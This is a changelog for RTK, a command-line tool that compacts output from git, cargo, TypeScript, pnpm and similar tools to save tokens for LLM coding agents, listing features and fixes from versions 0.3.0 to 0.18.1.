  • tee raw output to file for LLM re-read without re-run (#134) (a08a62b)

0.18.1 (2026-02-15)

Bug Fixes

  • update ARCHITECTURE.md version to 0.18.0 (398cb08)
  • update version references to 0.16.0 in README.md and CLAUDE.md (ec54833)
  • update version references to 0.18.0 in docs (c73ed47)

0.18.0 (2026-02-15)

Features

  • gain: colored dashboard with efficiency meter and impact bars (#129) (606b86e)

0.17.0 (2026-02-15)

Features

  • cargo: add cargo nextest support with failures-only output (#107) (68fd570)
  • hook: handle global options before subcommands (#99) (7401f10)

0.16.0 (2026-02-14)

Features

  • python: add lint dispatcher + universal format command (#100) (4cae6b6)

0.15.4 (2026-02-14)

Bug Fixes

  • git: fix for issue #82 (04e6bb0)
  • git: Returns "Not a git repository" when git status is executed in a non-repo folder #82 (d4cb2c0)

0.15.3 (2026-02-13)

Bug Fixes

  • prevent UTF-8 panics on multi-byte characters (#93) (155e264)

0.15.2 (2026-02-13)

Bug Fixes

  • hook: use POSIX character classes for cross-platform grep compatibility (#98) (4aafc83)

0.15.1 (2026-02-12)

Bug Fixes

  • improve CI reliability and hook coverage (#95) (ac80bfa)
  • vitest: robust JSON extraction for pnpm/dotenv prefixes (#92) (e5adba8)

0.15.0 (2026-02-12)

Features

0.14.0 (2026-02-12)

Features

  • ci: automate Homebrew formula update on release (#80) (a0d2184)

Bug Fixes

  • add website URL (rtk-ai.app) across project metadata (#81) (c84fa3c)
  • update stale repo URLs from pszymkowiak/rtk to rtk-ai/rtk (#78) (55d010a)

0.13.1 (2026-02-12)

Bug Fixes

  • ci: fix release artifacts not uploading (#73) (bb20b1e)
  • ci: fix release workflow not uploading artifacts to GitHub releases (bd76b36)

0.13.0 (2026-02-12)

Features

  • sqlite: add custom sqlite db location (6e181ae)
  • sqlite: add custom sqlite db location (93364b5)

0.12.0 (2026-02-09)

Features

  • cargo: add cargo install filtering with 80-90% token reduction (645a773), closes #69
  • cargo: add cargo install filtering (447002f)

0.11.0 (2026-02-07)

Features

  • init: auto-patch settings.json for frictionless hook installation (2db7197)

[Unreleased]

Added

  • settings.json auto-patch for frictionless hook installation
    • Default rtk init -g now prompts to patch settings.json [y/N]
    • --auto-patch: Patch immediately without prompting (CI/CD workflows)
    • --no-patch: Skip patching, print manual instructions instead
    • Automatic backup: creates settings.json.bak before modification
    • Idempotent: detects existing hook, skips modification if present
    • rtk init --show now displays settings.json status
  • Uninstall command for complete RTK removal
    • rtk init -g --uninstall removes hook, RTK.md, CLAUDE.md reference, and settings.json entry
    • Restores clean state for fresh installation or testing
  • Improved error handling with detailed context messages
    • All error messages now include file paths and actionable hints
    • UTF-8 validation for hook paths
    • Disk space hints on write failures

Changed

  • Refactored insert_hook_entry() to use idiomatic Rust entry() API
  • Simplified hook_already_present() logic with iterator chains
  • Improved atomic write error messages for better debugging

0.10.0 (2026-02-07)

Features

  • Hook-first installation with 99.5% token reduction (e7f80ad)
  • init: refactor to hook-first with slim RTK.md (9620f66)

0.9.4 (2026-02-06)

Bug Fixes

  • discover: add cargo check support, wire RtkStatus::Passthrough, enhance rtk init (d5f8a94)

0.9.3 (2026-02-06)

Bug Fixes

  • P0 crashes + cargo check + dedup utilities + discover status (05078ff)
  • P0 crashes + cargo check + dedup utilities + discover status (60d2d25)

0.9.2 (2026-02-05)

Bug Fixes

  • git: accept native git flags in add command (including -A) (2ade8fe)
  • git: accept native git flags in add command (including -A) (40e7ead)

0.9.1 (2026-02-04)

Bug Fixes

  • tsc: show every TypeScript error instead of collapsing by code (3df8ce5)
  • tsc: show every TypeScript error instead of collapsing by code (67e8de8)

0.9.0 (2026-02-03)

Features

  • add rtk tree + fix rtk ls + audit phase 1-2 (278cc57)
  • audit phase 3 + tracking validation + rtk learn (7975624)
  • git: add fallback passthrough for unsupported subcommands (32bbd02)
  • grep: add extra args passthrough (-i, -A/-B/-C, etc.) (a240d1a)
  • pnpm: add fallback passthrough for unsupported subcommands (614ff5c)
  • read: add stdin support via "-" path (060c38b)
  • rtk tree + fix rtk ls + full audit (phase 1-2-3) (cb83da1)

Bug Fixes

  • docs: escape HTML tags in rustdoc comments (b13d92c)
  • find: rewrite with ignore crate + fix json stdin + benchmark pipeline (fcc1462)
  • ls: compact output (-72% tokens) + fix discover panic (ea7cdb7)

0.8.1 (2026-02-02)

Bug Fixes

  • allow git status to accept native flags (a7ea143)
  • allow git status to accept native flags (a27bce8)

0.8.0 (2026-02-02)

Features

  • add comprehensive security review workflow for PRs (1ca6e81)
  • add comprehensive security review workflow for PRs (66101eb)

0.7.1 (2026-02-02)

Features

  • execution time tracking: Add command execution time metrics to rtk gain analytics
    • Total execution time and average time per command displayed in summary
    • Time column in "By Command" breakdown showing average execution duration
    • Daily breakdown (--daily) includes time metrics per day
    • JSON export includes total_time_ms and avg_time_ms fields
    • CSV export includes execution time columns
    • Backward compatible: historical data shows 0ms (pre-tracking)
    • Negligible overhead: <0.1ms per command
    • New SQLite column: exec_time_ms in commands table
  • parser infrastructure: Three-tier fallback system for robust output parsing
    • Tier 1: Full JSON parsing with complete structured data
    • Tier 2: Degraded parsing with regex fallback and warnings
    • Tier 3: Passthrough with truncated raw output and error markers
    • Guarantees RTK never returns false data silently
  • migrate commands to OutputParser: vitest, playwright, pnpm now use robust parsing
    • JSON parsing with safe fallbacks for all modern JS tooling
    • Improved error handling and debugging visibility
  • local LLM analysis: Add economics analysis and comprehensive test scripts
    • scripts/rtk-economics.sh for token savings ROI analysis
    • scripts/test-all.sh with 69 assertions covering all commands
    • scripts/test-aristote.sh for T3 Stack project validation

Bug Fixes

  • convert rtk ls from reimplementation to native proxy for better reliability
  • trigger release build after release-please creates tag

Documentation

  • add execution time tracking test guide (TEST_EXEC_TIME.md)
  • comprehensive parser infrastructure documentation (src/parser/README.md)

0.7.0 (2026-02-01)

Features

  • add discover command, auto-rewrite hook, and git show support (ff1c759)
  • discover command, auto-rewrite hook, git show (c9c64cf)

Bug Fixes

  • forward args in rtk git push/pull to support -u, remote, branch (4bb0130)

0.6.0 (2026-02-01)

Features

  • cargo build/test/clippy with compact output (bfd5646)
  • curl with auto-JSON detection (314accb)
  • gh pr create/merge/diff/comment/edit + gh api (517a93d)
  • git branch, fetch, stash, worktree commands (bc31da8)
  • npm/npx routing, pnpm build/typecheck, --skip-env flag (49b3cf2)
  • shared infrastructure for new commands (6c60888)
  • shared infrastructure for new commands (9dbc117)

0.5.2 (2026-01-30)

Bug Fixes

  • release pipeline trigger and version-agnostic package URLs (108d0b5)
  • release pipeline trigger and version-agnostic package URLs (264539c)

0.5.1 (2026-01-30)

Bug Fixes

  • 3 issues (latest tag, ccusage fallback, versioning) (d773ec3)
  • patrick's 3 issues (latest tag, ccusage fallback, versioning) (9e322e2)

0.5.0 (2026-01-30)

Features

  • add comprehensive claude code economics analysis (ec1cf9a)
  • comprehensive economics analysis and code quality improvements (8e72e7a)

Bug Fixes

  • comprehensive code quality improvements (5b840cc)
  • optimize HashMap merge and add safety checks (3b847f8)

0.4.0 (2026-01-30)

Features

  • add comprehensive temporal audit system for token savings analytics (76703ca)
  • Comprehensive Temporal Audit System for Token Savings Analytics (862047e)

0.3.1 (2026-01-29)

Bug Fixes

  • improve command robustness and flag support (c2cd691)
  • improve command robustness and flag support (d7d8c65)

0.3.0 (2026-01-29)

Features

  • add --quota flag to rtk gain with tier-based analysis (26b314d)
  • add CI/CD automation (release management and automated metrics) (22c3017)
  • add GitHub CLI integration (depends on #9) (341c485)
  • add GitHub CLI integration with token optimizations (0f7418e)
  • add modern JavaScript tooling support (b82fa85)
  • add modern JavaScript tooling support (lint, tsc, next, prettier, playwright, prisma) (88c0174)
  • add Modern JS Stack commands to benchmark script (b868987)
  • add quota analysis with multi-tier support (64c0b03)
  • add shared utils module for JS stack commands (0fc06f9)
  • CI/CD automation (versioning, benchmarks, README auto-update) (b8bbfb8)

Bug Fixes

  • ci: correct rust-toolchain action name (9526471)

[Unreleased]

Added

  • prettier command for format checking with package manager auto-detection (pnpm/yarn/npx)
    • Shows only files needing formatting (~70% token reduction)
    • Exit code preservation for CI/CD compatibility
  • playwright command for E2E test output filtering (~94% token reduction)
    • Shows only test failures and slow tests
    • Summary with pass/fail counts and timing
  • lint command with ESLint/Biome support and pnpm detection
    • Groups violations by rule and file (~84% token reduction)
    • Shows top violators for quick navigation
  • tsc command for TypeScript compiler output filtering
    • Groups errors by file and error code (~83% token reduction)
    • Shows top 10 affected files
  • next command for Next.js build/dev output filtering (87% token reduction)
    • Extracts route count and bundle sizes
    • Highlights warnings and oversized bundles
  • prisma command for Prisma CLI output filtering
    • Removes ASCII art and verbose logs (~88% token reduction)
    • Supports generate, migrate (dev/status/deploy), and db push
  • utils module with common utilities (truncate, strip_ansi, execute_command)
    • Shared functionality for consistent output formatting
    • ANSI escape code stripping for clean parsing

Changed

  • Refactored duplicated code patterns into utils.rs module
  • Improved package manager detection across all modern JS commands

[0.2.1] - 2026-01-29

See upstream: https://github.com/pszymkowiak/rtk

Links